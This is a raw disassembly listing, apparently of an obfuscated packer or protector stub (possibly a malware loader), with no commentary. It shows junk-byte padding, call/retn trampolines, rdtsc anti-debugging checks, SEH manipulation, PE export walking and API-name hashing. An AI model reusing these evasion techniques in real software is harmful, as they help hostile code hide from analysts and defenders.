3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 25DD0EC0h, 36B94FABh, 259D0954h dd 0AB05F919h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Dh, 7CC35141h, 9C010A35h, 999D9D79h, 0D59589C0h, 8105F916h dd 10000FAh, 6D820F00h, 6A000007h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 37BFC357h dd 0E50DBEB4h, 8D8907D5h, 5F91789h, 0FE5BD8Dh, 0ADF805F9h dd 0C870Fh, 8C0F0000h, 6, 8F0Fh, 7C810000h, 2424h, 870F1000h dd 147h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 42C35242h, 0E5BD0964h, 5005F927h, 0EE960h, 0D5BC0000h dd 606CD588h, 12825A15h, 26B67AF5h, 14E8h, 739E5600h, 0B22F5274h dd 98926EA2h, 4A82E201h, 82E8BF80h, 6690BA08h, 615E54DCh dd 6A240489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 0D82DC353h, 13E9h, 7212C100h dd 0C11D6C40h, 76D10567h, 88AA21A4h, 0AE8CB620h, 8A19529h dd 840F05F9h, 6, 18C9B501h, 448B05F9h, 85292824h, 5F9082Dh dd 0CE990h, 0C0A90000h, 0CBC26C0Fh, 0F092B60Eh, 0F50FC63h dd 0D85h, 8E0F6000h, 0 ; --------------------------------------------------------------------------- mov ecx, 52843DB8h popa nop push 0 push edi call sub_5A83F6 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A83F6 proc near ; CODE XREF: .XComp0:005A83EEp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5A83F6 endp ; --------------------------------------------------------------------------- dw 0B0F7h ; --------------------------------------------------------------------------- mov [ebp+5F93275h], eax jl loc_5A8422 pusha sub [ebp+5F92001h], ecx mov eax, [ebp+5F90709h] popa loc_5A8422: ; CODE XREF: .XComp0:005A840Ej lea eax, [ebp+5FC81B0h] add [ebp+5F9012Dh], edx call eax push 0 push eax call sub_5A843B and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A843B proc near ; CODE XREF: .XComp0:005A8433p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Bh inc eax push eax retn sub_5A843B endp ; --------------------------------------------------------------------------- db 0F1h dd 0F34E59FAh, 0F77047Ah, 682h, 69B52900h, 305F928h, 60242444h dd 12E9h, 2BF15400h, 0B08BF315h, 2DD5ABFBh, 756FDC56h dd 893D4764h, 0F93301B5h, 60506105h, 8AC28B66h, 48961F1h dd 18890F24h, 0E9000000h, 13h, 0F9CB93A8h, 0F8C5A2D3h dd 665B07F1h, 0BFFE91A4h, 0AB68E386h, 2B558D89h, 0BD8D05F9h dd 5F91ACDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 0D6C35747h, 0E596FFE6h, 8D89E7E0h, 5F91289h, 2DE18589h dd 0E9AD05F9h, 0Bh, 0A11D8C9Bh, 765EA833h, 0F32EB3Bh, 68Ch dd 0B99D8900h, 8105F92Dh, 28247Ch, 0F100000h, 11087h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 12E9A86Bh, 28000000h, 0E8B570D6h, 4B8B3C58h, 2F62A5A0h dd 0DC20EE42h, 0B5096071h, 5F93329h, 6870Fh, 9D8B0000h dd 5F93439h, 8F0F5061h, 0Ch, 6820Fh, 890F0000h, 0 ; --------------------------------------------------------------------------- mov [esp], eax jmp loc_5A8582 ; --------------------------------------------------------------------------- dd 1E2319B0h, 0F141BEA0h, 0C89D328Eh ; --------------------------------------------------------------------------- test bh, bh loc_5A8582: ; CODE XREF: .XComp0:005A856Fj mov eax, [esp+2Ch] jmp loc_5A859F ; --------------------------------------------------------------------------- db 89h dd 19271494h, 0F0A7AE98h, 811B8FAEh, 0BF3E174Dh db 0C6h, 8Bh, 85h ; --------------------------------------------------------------------------- loc_5A859F: ; CODE XREF: .XComp0:005A8586j push eax pusha mov edx, edi mov ax, 92E9h popa mov [esp], eax push 0 push edi call sub_5A85B6 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A85B6 proc near ; CODE XREF: .XComp0:005A85AEp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5A85B6 endp ; --------------------------------------------------------------------------- dw 0F86Ch ; --------------------------------------------------------------------------- jz loc_5A85D4 or [ebp+5F91155h], esi loc_5A85D4: ; CODE XREF: .XComp0:005A85C8j lea eax, [ebp+5FC81B0h] jmp loc_5A85EB ; --------------------------------------------------------------------------- db 40h dd 0B4D8C74Bh, 0C1D73059h db 19h, 0E2h, 2Ah ; --------------------------------------------------------------------------- loc_5A85EB: ; CODE XREF: .XComp0:005A85DAj call eax push 0 push edx call sub_5A85F8 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A85F8 proc near ; CODE XREF: .XComp0:005A85F0p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5A85F8 endp ; --------------------------------------------------------------------------- mov edi, 8E9h add [esi-61h], bl xor eax, 682DBFABh adc [eax+66h], esp mov ecx, 8166A8C1h jecxz short loc_5A8660 dec esi popa add eax, [esp+28h] push 0 push ebp call sub_5A8630 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A8630 proc near ; CODE XREF: .XComp0:005A8628p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5A8630 endp ; --------------------------------------------------------------------------- or eax, esp wait push es stosd push 0 push ebx call sub_5A8650 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A8650 proc near ; CODE XREF: .XComp0:005A8648p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5A8650 endp ; --------------------------------------------------------------------------- loc_5A8660: ; CODE XREF: .XComp0:005A861Dj fcmove st, st(3) push es xor [ebx], esi cmp [edx-71F09F0Eh], dl add [eax], eax ; --------------------------------------------------------------------------- db 2 dup(0), 0F8h ; --------------------------------------------------------------------------- jmp loc_5A867E ; --------------------------------------------------------------------------- db 0BBh, 0B6h, 85h dd 79EFD92Bh ; --------------------------------------------------------------------------- jle short loc_5A867F loc_5A867E: ; CODE XREF: .XComp0:005A8670j popa loc_5A867F: ; CODE XREF: .XComp0:005A867Cj pop esi loc_5A8680: ; CODE XREF: .XComp0:005A871Ej dec dword ptr [ebp+5FCC4FDh] cmp dword ptr [ebp+5FCC4FDh], 0 jnz short loc_5A8699 xor eax, eax lea esi, [ebp+5FCD3A9h] jmp esi ; --------------------------------------------------------------------------- loc_5A8699: ; CODE XREF: .XComp0:005A868Dj push esi lodsd cmp dword ptr [esp+28h], 10000000h ja short loc_5A86B3 push eax mov eax, [esp+2Ch] push eax lea eax, [ebp+5FC81B0h] call eax loc_5A86B3: ; CODE XREF: .XComp0:005A86A3j add eax, [esp+28h] xchg eax, edi mov ebx, edi mov al, [ebp+5FCC4F9h] test al, al jz short loc_5A86C8 cmp al, [edi] jnz short loc_5A8714 loc_5A86C8: ; CODE XREF: .XComp0:005A86C2j push edi xor al, al loc_5A86CB: ; CODE XREF: .XComp0:005A86CCj scasb jnz short loc_5A86CB pop esi sub edi, ebx push edx cld xor ecx, ecx dec ecx mov edx, ecx loc_5A86D8: ; CODE XREF: .XComp0:005A8701j xor eax, eax xor ebx, ebx lodsb xor al, cl mov cl, ch mov ch, dl mov dl, dh mov dh, 8 loc_5A86E7: ; CODE XREF: .XComp0:005A86FAj shr bx, 1 rcr ax, 1 jnb short loc_5A86F8 xor ax, 5041h xor bx, 5449h loc_5A86F8: ; CODE XREF: .XComp0:005A86EDj dec dh jnz short loc_5A86E7 xor ecx, eax xor edx, ebx dec edi jnz short loc_5A86D8 not edx not ecx mov eax, edx rol eax, 10h mov ax, cx pop edx cmp edx, eax jz short loc_5A8723 loc_5A8714: ; CODE XREF: .XComp0:005A86C6j pop esi add esi, 4 inc dword ptr [ebp+5F9328Dh] jmp loc_5A8680 ; --------------------------------------------------------------------------- loc_5A8723: ; CODE XREF: .XComp0:005A8712j pop esi mov [ebp+5F900CDh], ebx stc mov eax, [ebp+5F9328Dh] push 0 push ebx call sub_5A873C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A873C proc near ; CODE XREF: .XComp0:005A8734p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5A873C endp ; --------------------------------------------------------------------------- mov ds:7C883645h, al and bh, ah shl eax, 1 push 0 push esi call sub_5A8760 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A8760 proc near ; CODE XREF: .XComp0:005A8758p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 18h inc esi push esi retn sub_5A8760 endp ; --------------------------------------------------------------------------- dd 7189829Bh, 6E96094h, 34000000h, 0F59B0551h, 49952989h dd 6105F915h, 619D8960h, 0F05F909h, 68Dh, 880F00h, 61000000h dd 1ACD8503h, 6A05F9h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 2298EDC3h, 0BE9607Dh, 56000000h dd 21A71537h, 0B001D64Bh, 0BD2BC951h, 5F91F11h, 0FF62B61h dd 18Eh, 0F96F900h, 688h, 0E99D3100h, 6605F905h, 6870FADh dd 1000000h, 0F91731B5h, 9D8B6005h, 5F90A35h, 6197C080h dd 2902E0C1h, 0F9347585h, 99850305h, 0F05F913h, 182h, 0BD31F900h dd 5F931D1h, 51006A96h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 74FEC470h, 55006AADh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0FDC2F6F9h dd 601114BEh, 0E9D8BF0Fh, 11h, 952ED7E7h, 5BCE7009h, 4E0E335Fh dd 0C547FCDAh, 7C81618Bh, 2424h, 870F1000h, 101h, 890F50FCh dd 0Eh, 61605250h, 860F310Fh, 0 ; --------------------------------------------------------------------------- pop edx pop eax mov [esp], eax push 0 push ecx call sub_5A88B4 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A88B4 proc near ; CODE XREF: .XComp0:005A88ACp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5A88B4 endp ; --------------------------------------------------------------------------- dd 0C43E1A46h, 0E6EA6BCh, 0FE9h, 0F23A9600h, 3EAEDE7h dd 603BB5D5h, 0C5C3B4CAh, 2824448Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 65C35646h, 0EFE27CC8h, 0E98ABC08h dd 8, 55C17B0Ch, 0D4DC152Ah, 0E9525090h, 0Ch, 0C34DF577h dd 1BA4E0ECh, 0BFF38944h, 0B460310Fh, 585A6181h, 17830F50h dd 50000000h, 0F616052h, 0AE931h, 0E5B00000h, 3DA21B1Ah dd 94EE0E93h, 6090585Ah, 2CEDF081h, 11E87D56h, 0FE000000h dd 0EFA4240Ch, 7980345Ah, 796A9079h, 77BAD763h, 0E916DE81h dd 6158048Dh, 0B0858DF8h, 0F05FC81h, 680h, 0DD8D8900h dd 0FF05F92Ah, 9D0B60D0h, 5F9163Dh, 24440361h, 4489F924h dd 820F1C24h, 6, 2ABDBD89h, 85C605F9h, 5F91899h, 0C985C700h dd 5FCC6h, 0C7000000h, 0FCC50185h, 5, 1800F00h, 0F9000000h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0E7C35747h dd 0F9301028h, 50006A61h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1D04h, 0C3504000h, 0E5A860A9h, 7E04E382h dd 8E997E6h, 0A3000000h, 0E71FD7EEh, 0E9BB9530h, 0Bh, 0E84C91E2h dd 0CA7BBF89h, 0C27EB85Dh, 8D310008h, 5F9297Dh, 1399858Bh dd 6A05F9h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 6660A8C3h, 7A05EF81h, 12E961h, 81350000h dd 1DF96DA7h, 0C122344Ch, 579FF0BEh, 967E3408h, 56006A4Ah dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 983F4EEDh, 0EE9h, 0A5125200h, 6D7A721Ch, 0D44EA00Eh dd 965A4EAh, 0F91E9995h, 4D26B05h, 1E35B589h, 0C20305F9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 59C35242h dd 6A96ABh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0C49D56C3h, 1559D09h, 0BE905F9h, 33000000h dd 0D8D23177h, 6322CED9h, 6AAD4E36h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 42ABC353h dd 5D8D8912h, 8105F90Dh, 24247Ch, 0F100000h, 0EC87h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 87C32E7Dh, 0E98A5BBBh, 0Fh, 0F93FF519h, 47A5DFDFh, 47DE7DD4h dd 901A94C7h, 6196B560h, 0F525050h, 684h, 840F00h, 0F000000h dd 0CE96031h, 11000000h, 29EAB36Dh, 0A92332CCh, 61CA21C4h dd 6A90585Ah, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 14042444h, 45000000h, 0F5AEC355h, 2824448Bh, 0AE9h dd 553C4200h, 34E372C7h, 900B9CABh, 4800Fh, 0B3600000h dd 50506163h, 0FE8A6052h, 0F310F61h, 0E8Dh, 9E900h, 0FC250000h dd 6BA53B98h, 5A1053A6h, 6A9058h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 180424h, 55450000h, 8A6FEC3h, 858D03BDh dd 5FC81B0h, 0A99529h, 0D0FF05F9h, 0FD63E9FCh, 6AFFFFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h dd 6829AEC3h, 0B509108Dh, 5F92D95h, 0D97C858Dh, 6A05FCh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 2EFC73C3h, 36129DECh, 7E9E97Fh, 0B5000000h, 69E087A2h dd 0F502CB2h, 1882h, 0E9525000h, 7, 0D473FEFDh, 0FF83DB9h dd 0F525031h, 5A585A31h, 24048958h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0B1C35343h, 728ADFFEh, 0F820Fh dd 0AE90000h, 0DB000000h, 53C55F5Dh, 165A4139h, 19830FC4h dd 0E9000000h, 14h, 0E08A65F3h, 53A1B12h, 0AA157076h, 454EA24h dd 0C6AF0F19h, 35FF64h, 29000000h, 0F932918Dh, 24048B05h dd 0F7BF0F60h, 2759B523h, 896105F9h, 0F906C585h, 8964F505h dd 25h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1D04h, 0C3514100h, 0CE43E6E2h, 0B3EDE664h, 0BD89DA6Ah dd 5F906F5h, 1820Fh, 8DFC0000h, 0FCD7CE85h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 56C18A4Ch, 595D8598h, 0F8016089h, 209E9h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 41628F7Fh, 0E8DB8B2Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 5FCD7C7h mov esp, 12FF9Ch cmp dword ptr [ebp+5F91825h], 0 jz short loc_5A8DE1 mov eax, [ebp+5F91151h] mov byte ptr [eax], 0 mov eax, [ebp+5F92579h] mov byte ptr [eax], 0 call dword ptr [ebp+5F90769h] loc_5A8DE1: ; CODE XREF: .XComp0:005A8DC7j pusha push dword ptr [ebp+5FCC105h] lea eax, [ebp+5FCC109h] push eax lea eax, [ebp+5FCC301h] push eax call dword ptr [ebp+5F90DCDh] add esp, 0Ch popa push 0 push esi call sub_5A8E0B and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A8E0B proc near ; CODE XREF: .XComp0:005A8E03p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_5A8E0B endp ; --------------------------------------------------------------------------- db 5Fh dd 0FA7FB11Bh, 6ACEDCA7h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 2F6CC351h, 21D045ACh dd 89A0161Eh, 0F929AD8Dh, 1B58D05h, 6A05FCC3h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 0F2F3C350h, 0D5B1D146h, 296B1FABh, 0F90E3995h, 0D9B52905h dd 8D05F92Ch, 0F92F0DBDh, 0DDB58905h, 8005F908h, 840F003Eh dd 31h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h dd 0A5C35141h, 10259D89h, 0A4F905F9h, 1890Fh, 0E9FC0000h dd 0FFFFFFC7h, 0B8F5h, 8D010000h, 5F90D35h, 56006AAAh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 0BCD6FC3Bh, 0F3A513D8h, 7B8h, 65952900h, 0C705F935h dd 0F9214185h, 105h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 7E9BA75h, 0B000000h, 1EE52C90h dd 8D8DC3F2h, 5F94EE8h, 180D9D89h, 0E1FF05F9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 7BC35343h, 63D6ED1Bh dd 1F3AB5CAh, 245C8BF5h, 0E8550Ch, 5D000000h, 0D986ED81h dd 838B05FCh, 0B8h, 0C1058589h, 858D05FCh, 5FCD7C0h, 0B88389h dd 335D0000h, 60F9C3C0h, 0E62802BAh, 61D88B5Ch, 0C5B58960h dd 8D05F915h, 0FCDBBD85h, 50006A05h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0B08035D2h dd 2816D6C6h, 0F68060F9h, 0ECE2815Eh, 6127F9DAh, 50525090h dd 6E952h, 710C0000h, 85F53FA1h, 5250310Fh, 585A310Fh dd 310F585Ah, 6E9h, 9C404200h, 5A73F78Eh, 52505058h, 6870Fh dd 52500000h, 585A310Fh, 6E9310Fh, 95000000h, 0F8BAFE12h dd 90585A7Ch, 2CBD8D89h, 0FF6405F9h, 35h, 8964F900h, 25h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 0CEFEBE07h, 0DD9D89B9h, 8D05F91Fh, 0FCDC5C85h dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 12B2BF0Ah, 517968C5h, 0AE9h, 321C6500h dd 210EFC53h, 89D20C6Ch, 0F91E8D95h, 1608905h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0F5C35343h, 6383794Ah dd 800F62E1h, 0Ch, 6800Fh, 860F0000h, 0 ; --------------------------------------------------------------------------- mov byte ptr [ebp+5F91899h], 4Fh jz loc_5A90E2 cld loc_5A90E2: ; CODE XREF: .XComp0:005A90DBj call sub_5A90EB sub dh, [eax+ecx*8-2] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5A90EB proc near ; CODE XREF: .XComp0:loc_5A90E2p jmp sub_5A9101 sub_5A90EB endp ; --------------------------------------------------------------------------- dd 0A7A21538h, 7068B674h, 0DDFF7357h, 87D913ACh db 0E1h ; =============== S U B R O U T I N E ======================================= sub_5A9101 proc near ; CODE XREF: sub_5A90EBj arg_4 = dword ptr 8 push eax jb loc_5A9110 pusha mov cl, 30h mov cx, 462Fh popa loc_5A9110: ; CODE XREF: sub_5A9101+1j mov eax, [esp+4] pusha push eax push edx mov ah, bh rdtsc pop edx pop eax push esi jnz $+6 pop eax popa mov eax, [eax] push eax push edx jmp loc_5A913E ; --------------------------------------------------------------------------- db 0Dh dd 0A5547149h, 3B8141EEh, 144F505Ch db 70h, 63h ; --------------------------------------------------------------------------- loc_5A913E: ; CODE XREF: sub_5A9101+29j rdtsc jmp loc_5A9153 ; --------------------------------------------------------------------------- db 40h, 1Dh, 4Dh dd 0E757545Bh, 913EB178h ; --------------------------------------------------------------------------- jo short loc_5A9178 xchg eax, esp loc_5A9153: ; CODE XREF: sub_5A9101+3Fj pop edx pop eax mov [esp+4], eax push eax push edx pusha jz $+6 jo $+6 popa rdtsc jmp loc_5A9180 ; --------------------------------------------------------------------------- dd 0CA63D6EDh, 0E01F3AB5h ; --------------------------------------------------------------------------- loc_5A9178: ; CODE XREF: sub_5A9101+4Fj push ecx sbb [edx-26F17BD7h], edx hlt ; --------------------------------------------------------------------------- loc_5A9180: ; CODE XREF: sub_5A9101+6Aj pop edx pop eax pop eax mov [ebp+5F91F15h], ecx push dword ptr [ebp+5F908D1h] mov [ebp+5F912D5h], edx lea eax, [ebp+5FCC510h] clc call eax mov [ebp+5F9173Dh], esi jmp loc_5A9249 ; --------------------------------------------------------------------------- cld mov ebx, [esp+4+arg_4] push ebp call $+5 pop ebp sub ebp, 5FCDBC7h mov eax, [ebp+5F92719h] mov [ebp+5F908D1h], eax mov eax, [ebp+5F92109h] mov [ebp+5F90A41h], eax mov eax, [ebp+5F90FC5h] mov [ebp+5F907F5h], eax mov byte ptr [ebp+5F91899h], 0 mov dword ptr [ebp+5FCC6C9h], 0 lea eax, [ebp+5FCDC5Ch] mov [ebx+0B8h], eax pop ebp xor eax, eax retn ; --------------------------------------------------------------------------- dd 67BF6660h, 615AB623h, 88A0Fh, 810F0000h, 2, 6A6160h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 63E3EFC3h, 5DB58981h, 6005F932h, 27119589h, 0B58B05F9h dd 5F92A09h ; --------------------------------------------------------------------------- popa loc_5A9249: ; CODE XREF: sub_5A9101+A3j mov esp, 12FF74h mov [ebp+5F92B4Dh], edx pop large dword ptr fs:0 push 0 push eax call sub_5A9266 and [eax-3Dh], bl sub_5A9101 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5A9266 proc near ; CODE XREF: sub_5A9101+15Dp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5A9266 endp ; --------------------------------------------------------------------------- dw 0A57Eh dd 0EB1E9CF0h, 0DB3812D7h, 0F04C483h, 18Ch, 8529F800h dd 5F90B21h, 0DE861h, 482F0000h, 0BEA89317h, 96847119h dd 31678E8Ch, 0F913F1B5h, 7E95A05h, 0A6000000h, 3F66E4C4h dd 0C281C720h, 6376h, 0B268C88Bh, 8B000018h, 0CE958FAh dd 0B1000000h, 0AA5B9B83h, 53685F8Ah, 8B518B92h, 81B58B1Ah dd 8105F913h, 0A3E908C3h, 0F9B58B0Bh, 8105F918h, 93BEEFF3h dd 8D8D8B35h, 8105F908h, 29D87EC3h, 898D8918h, 8905F927h dd 83CF8B1Ah, 4A4A02EAh, 18799D29h, 0E88105F9h, 1, 1C850Fh dd 0BD8B0000h, 5F92849h, 1FE9h, 6CFF3C00h, 9E28C5D2h, 0D3E5DBEDh dd 914E07EEh, 0E9F9C060h, 0FFFFFF97h, 0DD6E473Fh, 0F706A9C5h dd 0BE8h, 0F222B700h, 213702FFh, 0AE268AFBh, 14E959h, 79810000h dd 0D5EEB148h, 0F79888F2h, 0D876BD4Dh, 0B39153BDh, 0C18127EEh dd 5911h, 0BBD1B70Fh, 6BE1DBA7h, 0CDABF381h, 14E86BE1h dd 5B000000h, 0FCEC5FEEh, 0DC5D8691h, 2A1A4A9Ch, 0A4E3E44h dd 0F5B045CCh, 8B398B5Ah, 0F913F1B5h, 0B1EF8105h, 8B100DB7h dd 8BF781D6h, 0E9672C27h, 0Bh, 0F6A22A30h, 0DE4F3A05h dd 81734561h, 0A1D42EEFh, 95958B3Ah, 5705F905h, 18F0AB0h dd 0D9F8D881h, 0E981438Dh, 602FDF1Ch, 81D0B70Fh, 2FDF18C1h dd 0FDBD0160h, 8305F90Fh, 850F01EBh, 1Eh, 75852352h, 5805F905h dd 29E9h, 0E0AEBB00h, 53678D6h, 0CD1E267Ah, 1EB2130Fh dd 8B571C21h, 0F9004995h, 7AE95805h, 2FFFFFFh, 0B98C77A8h dd 0E12B8DC5h, 83E965DAh, 53000000h, 57565251h, 1C245C8Bh dd 4D3B8166h, 68850F5Ah, 0F000000h, 33C43B7h, 3B8166D8h dd 850F4550h, 57h, 3785B8Bh, 8B1C245Ch, 74032473h, 8B561C24h dd 738B207Bh, 247C031Ch, 24740320h, 0C983FC20h, 5C8B41FFh dd 178B1C24h, 20245403h, 8A04C783h, 74C08402h, 75033A08h dd 0EB4243E8h, 75033AF2h, 0E1D15FE0h, 0F04B70Fh, 386048Bh dd 5F1C2444h, 5B595A5Eh, 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh dd 464934EBh, 52474D53h, 4B562020h, 20202044h, 4D562020h dd 2020204Dh, 57562020h, 32334E49h, 58562020h, 52444C44h dd 2020h, 2 dup(0) dd 0CDE90000h, 6A000007h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 9FDCC352h, 0F547AA3h dd 1684h, 11E900h, 7F930000h, 3D17526Ch, 8B9DC7B6h, 2CD0DAAAh dd 60634425h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 1AC35040h, 9C3546DEh, 0DEF985C7h, 5FCh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h dd 0B71E10C3h, 850C151Ah, 860F0759h, 10h, 0BE9h, 304CD900h dd 0A731D200h, 0C1F284DDh, 8160C68Bh, 9AFA0FEFh, 0C1B70F3Dh dd 0D8B70F61h, 10E8C1F8h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 8AC35646h, 3A6CC78Fh, 11E9h, 59BC8D00h dd 997174A8h, 784EBC2Ch, 464AC0FEh, 0C166C0F9h, 6A08C8h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 570A3BC3h, 88099D4Dh, 17880FD9h, 0E9000000h, 12h, 35693DB0h dd 8D9617D5h, 0BC6FCD7Eh, 0AAFB01A3h, 8589F42Ah, 5FCDEFDh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0ACC35545h dd 0A1322A20h, 8CBC166h, 40FB83F5h, 67850Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 93F24EC3h, 8F0F6060h, 0 ; --------------------------------------------------------------------------- mov bh, cl popa popa lea edi, [ebp+5FCDED1h] jns loc_5A9697 jl loc_5A9697 stc loc_5A9697: ; CODE XREF: .XComp0:005A968Aj ; .XComp0:005A9690j jmp loc_5A9822 ; --------------------------------------------------------------------------- pusha pusha jnp $+6 popa jnp loc_5A96C0 jmp loc_5A96C0 ; --------------------------------------------------------------------------- dd 0B54477D0h, 5376A614h, 489DB260h, 34ECD775h ; --------------------------------------------------------------------------- loc_5A96C0: ; CODE XREF: .XComp0:005A96A5j ; .XComp0:005A96ABj popa cmp ebx, 0Dh jnz loc_5A971F jmp loc_5A96DB ; --------------------------------------------------------------------------- db 38h dd 34860686h, 0A12492Ch db 98h, 9, 0BDh ; --------------------------------------------------------------------------- loc_5A96DB: ; CODE XREF: .XComp0:005A96CAj lea edi, [ebp+5FCDED9h] push 0 push ebp call sub_5A96EC and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A96EC proc near ; CODE XREF: .XComp0:005A96E4p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_5A96EC endp ; --------------------------------------------------------------------------- dd 0CEC921F5h, 11DE9h, 14810F00h, 0E9000000h, 0Fh, 0ECB80B6Ah dd 73DC5A87h, 0D4CFF2D2h db 0A5h, 6Eh, 93h ; --------------------------------------------------------------------------- loc_5A971F: ; CODE XREF: .XComp0:005A96C4j cmp ebx, 1 jnz loc_5A97AA push 0 push eax call sub_5A9733 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5A9733 proc near ; CODE XREF: .XComp0:005A972Bp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 1Dh inc eax push eax retn sub_5A9733 endp ; --------------------------------------------------------------------------- db 9Ch dd 3B500863h, 2A0F23Dh, 0BD8DF9C2h, 5FCDEE1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0A1C35545h, 607C6623h dd 5D76405h, 816660C1h, 61D957CFh, 9BE9F5F8h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 0CF53C352h, 4AC9050Fh ; --------------------------------------------------------------------------- stc cmc loc_5A97AA: ; CODE XREF: .XComp0:005A9722j cmp ebx, 2Ah jnz loc_5A97E0 cld lea edi, [ebp+5FCDEE9h] jp loc_5A97CF jmp loc_5A97CF ; --------------------------------------------------------------------------- db 79h, 0D4h, 0BFh ; --------------------------------------------------------------------------- sbb al, 0ACh mov al, ds:372C1A7Ch loc_5A97CF: ; CODE XREF: .XComp0:005A97BAj ; 